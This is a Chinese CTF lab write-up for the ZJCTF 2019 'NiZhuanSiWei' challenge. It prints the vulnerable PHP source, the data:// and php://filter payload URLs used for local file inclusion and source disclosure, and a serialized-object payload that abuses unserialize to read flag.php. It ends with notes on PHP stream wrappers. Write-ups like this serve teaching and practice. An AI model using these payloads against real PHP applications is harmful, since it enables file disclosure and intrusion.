[ZJCTF 2019]NiZhuanSiWei

[ZJCTF 2019]NiZhuanSiWei

Step 1

开靶机,获得php源码

<?php  
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
    echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
    if(preg_match("/flag/",$file)){
        echo "Not now!";
        exit(); 
    }else{
        include($file);  //useless.php
        $password = unserialize($password);
        echo $password;
    }
}
else{
    highlight_file(__FILE__);
}
?>

if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf"))

可知,读取text的内容需要是welcome to the zjctf,而file_get_contents()函数是用于将文件的内容读入到一个字符串中。

这时候就需要将$text伪造成一个文件,所以就要用到php伪协议中的data://协议,他的作用就是将字符串包装成一个文件来执行。

所以构造payload:

url/?text=data://text/plain,welcome to the zjctf

得到welcome to the zjctf的页面回显

Step 2

继续审计代码

include($file); //useless.php

该函数支持伪协议,而且if(preg_match("/flag/",$file))表示不能在file中出现flag。

构造出payload:

url/?text=data://text/plain,welcome%20to%20the%20zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php

回显

PD9waHAgIAoKY2xhc3MgRmxhZ3sgIC8vZmxhZy5waHAgIAogICAgcHVibGljICRmaWxlOyAgCiAgICBwdWJsaWMgZnVuY3Rpb24gX190b3N0cmluZygpeyAgCiAgICAgICAgaWYoaXNzZXQoJHRoaXMtPmZpbGUpKXsgIAogICAgICAgICAgICBlY2hvIGZpbGVfZ2V0X2NvbnRlbnRzKCR0aGlzLT5maWxlKTsgCiAgICAgICAgICAgIGVjaG8gIjxicj4iOwogICAgICAgIHJldHVybiAoIlUgUiBTTyBDTE9TRSAhLy8vQ09NRSBPTiBQTFoiKTsKICAgICAgICB9ICAKICAgIH0gIAp9ICAKPz4gIAo=

base64解密

<?php
class Flag{  //flag.php
    public $file;
    public function __tostring(){
        if(isset($this->file)){
            echo file_get_contents($this->file); 
            echo "<br>";
            return ("U R SO CLOSE !///COME ON PLZ");
        }
    }
}  
?>  

Step 3

\(password = unserialize(\)password);
echo $password;

这个代码将

在序列化之后,赋值给password,password会被反序列化成原来的代码在赋值给password,然后echo $password,就相当于echo 了一个类,就会触发到我们写的代码里的__tostring()

然后我们将\(file=flag.php,这时`echo file_get_contents(\)this->file);`就能获得flag

<?php
class Flag{  //flag.php
    public $file="flag.php";
}
$a=new Flag;
echo serialize($a);
?>  

获得序列化后的代码,然后再构造payload:

url/?text=data://text/plain,welcome%20to%20the%20zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}

查看源代码获得flag

PHP伪协议

data伪协议

data 伪协议是一种用于内嵌数据的伪协议,它可以将数据直接嵌入到 URI 中。这种伪协议通常用于将小型的图片、音频、视频等数据内嵌到网页中,从而减少 HTTP 请求的数量,并提高页面加载速度。data URI 的语法如下:

data:[] [;base64],
其中,mediatype 是媒体类型,例如 text/plain、image/jpeg、audio/mpeg 等;如果数据需要进行 base64 编码,则在 media type 后添加 ;base64 标记;data 是实际的数据内容。

php://filter

php://filter 是一种元封装器,设计用于数据流打开时的筛选过滤应用

本地文件无论allow_url_fopen,allow_url_include是否开启都可以使用,allow_url_fopen开启时文件操作函数里resource可以是远程的,allow_url_include也开启包含resource才可以是远程的。

用法:

php://filter/read=convert.base64-encode/resource=c:/windows/win.ini

其中

read是要执行的操作
convert.base64-encode的意思是读出的内容经过一次base64编码
resource后面跟的是读取内容的路径

参考

php伪协议-漏洞及其原理

posted @ 2024-07-26 16:00  8o1er9t  阅读(23)  评论(0编辑  收藏  举报